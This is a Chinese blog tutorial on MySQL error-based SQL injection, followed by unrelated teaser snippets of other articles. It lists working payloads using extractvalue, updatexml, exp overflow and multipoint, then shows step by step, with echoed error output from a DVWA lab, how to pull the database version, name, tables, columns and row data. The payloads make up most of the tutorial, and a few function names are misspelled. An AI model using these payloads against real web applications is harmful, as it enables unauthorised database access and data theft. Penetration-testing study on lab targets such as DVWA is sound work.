首页 > 数据库 >SQL报错注入

SQL报错注入

时间:2024-01-27 21:11:06浏览次数:31  
标签:name 0x7e 报错 select SQL table schema concat 注入

XPATH报错注入

extractalue(arg1,arg2)

  • 接受两个参数,arg1:XML文档,arg2:XPATH语句
  • 条件:mysql5.1及以上版本
  • 标准payload
1' and extractvalue(1,concat(0x7e,(select user()),0x7e))#

xpath类似于一种html的标签语言

这里面的0x7e是波浪号,可以换成~、!、*、&等都可以

  • 返回结果
XPATH syntax error: '~root@localhost~'

构造0x7e不符合xpath语法认为构造错误,使错误信息人为的显示出来
and extractvalue(1,concat(select user())

1' and extractvalue(1,concat(0x7e,(select user()),0x7e))#

update(arg1,arg2,arg3)

  • arg1为xml文档对象的名称;arg2为xpath格式的字符串;arg3为string格式替换查找到的符合条件的数据
  • mysql 5.1.5以上的版本
  • 标准payload:
1' and updatexml(1,concat(0x7e,(select user()),0x7e),1)#
  • 返回结果:
    XPATH syntax error: '~root@localhost~'
    

>注意,xpath报错注入的使用条件使数据库版本符合条件
>两种注入都有32位长度限制

## floor报错注入
了解一下
https://blog.csdn.net/weixin_45146120/article/details/100062786

## 列名重复报错注入
了解一下
https://www.cnblogs.com/cscshi/p/15705026.html

## 整形溢出报错注入
```sql
and exp(~(select * from (select user())a))#

几何函数报错注入

select multipoint((select * from (select * from (select * from (select version())a)b)c))#

使用报错注入进行注入

查看数据库版本

1' and extractvalue(1,concat(0x7e,(select version()),0x7e))#

查看数据库名字

1' and extractvalue(1,concat(0x7e,(select database()),0x7e))#

回显XPATH syntax error: '~dvwa~'

查看数据库有多少个表

1' and extractvalue(1,concat(0x7e,(select count(table_name)from information_schema.tables where table_schema=database()),0x7e))#

回显XPATH syntax error: '~2~'

查看表名

1' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e))#

不加limit会显示Subquery returns more than 1 row
将limit(1,0)换成(2,0)(3,0)等等
或者我们可以选择group_concat(如果长度够的话)

1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))#

回显XPATH syntax error: '~guestbook,users~'

查看有多少列

1' and extractvalue(1,concat(0x7e,(select count(column_name) from information_schema.columns where table_schema = database() and table_name = 'table_name'),0x7e))#

回显XPATH syntax error: '~8~'

查看表里面有哪些列名

1' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema = database() and table_name = 'table_name' limit 0,1),0x7e))#

回显XPATH syntax error: '~user_id~'

1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = 'table_name'),0x7e))#

回显XPATH syntax error: '~user_id,first_name,last_name,us'
发现显示不全
可以分页输出,后面再讲

查看数据

1' and extravalue(1,concat(0x7e,(select group_concat(列名)from 数据库名.表名),0x7e))#

标签:name,0x7e,报错,select,SQL,table,schema,concat,注入
From: https://www.cnblogs.com/p1ggy/p/17991948

相关文章

  • 为什么不推荐用 UUID 作为 Mysql 的主键
    学习改变命运,技术铸就辉煌。大家好,我是銘,全栈开发程序员。UUID是什么我们先来了解一下UUID是什么?UUID是指UniversallyUniqueIdentifier,翻译为中文是通用唯一识别码,UUID的目的是让分布式系统中的所有元素都能有唯一的识别信息。如此一来,每个人都可以创建不与其它人冲突......
  • 为什么不推荐用 UUID 作为 Mysql 的主键
    学习改变命运,技术铸就辉煌。大家好,我是銘,全栈开发程序员。UUID是什么我们先来了解一下UUID是什么?UUID是指UniversallyUniqueIdentifier,翻译为中文是通用唯一识别码,UUID的目的是让分布式系统中的所有元素都能有唯一的识别信息。如此一来,每个人都可以创建不与其它人冲突的UUI......
  • curl支持ssl报错:(60) SSL certificate problem: unable to get local issuer certific
     curl去访问https的站点报错:curl-vhttps://www.baidu.com*SSLv3,TLShandshake,Clienthello(1):*SSLv3,TLShandshake,Serverhello(2):*SSLv3,TLShandshake,CERT(11):*SSLv3,TLSalert,Serverhello(2):*SSLcertificateproblem:unabletogetl......
  • 大语言模型(LLM)运行报错:AttributeError: module 'streamlit' has no attribute 'cache_
    解决方法:......
  • MySQL幻读问题
    幻读指的是一个事务开启之后,执行了两次相同的SELECT查询某一范围内的数据,但是第二次查询返回了第一次未返回的行,也就是读取到了幻行,这就是幻读问题。MySQL官方也将这个问题叫做幻象问题,读取到的行叫做幻行。地址:https://dev.mysql.com/doc/refman/8.0/en/innodb-next-key-lo......
  • 2、【实操】dash库设计web界面对mysql数据进行展示
    dash+mysql的简单应用python库简介:  dash:web界面的UI设计;  pymysql:MySQL数据库连接、操作引擎pandas:使用read.sql("sql",mysql_connection)函数将msyql的表单数据转换成DataFrame格式 第一步:  实现对MySQL数据库的连接,并对表单的数据进行展示    ......
  • SQL手工注入
    两要素用户能够控制输入的内容web应用把用户输入的内容,在没有经过过滤或者严格过滤的情况下带入到数据库中执行分类GET和POST整数型,字符型,搜索型万能密码’1or1=1#1or1=1#注释符:--(后面有空格)--+%23注入流程:判断是否有注入信息获取数据库基本信息......
  • Dos命令 Mysql数据定时备份和删除7前的文件
    一、dos 命令Mysql 数据本地和异地备份@echooff::以下1~8参数请按自己的情况修改;其他的不需要修改::=======================视各环境情况修改=================::1,备份目标主机setdbhost=127.0.0.1::2,数据库端口setdbport=3306::3,本地MYSQL的bin路径setmysq......
  • MySQL 运算符
    本章节我们主要介绍MySQL的运算符及运算符的优先级。MySQL主要有以下几种运算符:算术运算符MySQL支持的算术运算符包括:运算符 作用加法– 减法乘法/或DIV 除法%或MOD 取余在除法运算和模运算中,如果除数为0,将是非法除数,返回结果为NULL。1、加mysql>select......
  • MySQL 处理重复数据
    有些MySQL数据表中可能存在重复的记录,有些情况我们允许重复数据的存在,但有时候我们也需要删除这些重复的数据。本章节我们将为大家介绍如何防止数据表出现重复数据及如何删除数据表中的重复数据。防止表中出现重复数据你可以在MySQL数据表中设置指定的字段为PRIMARYKEY(主......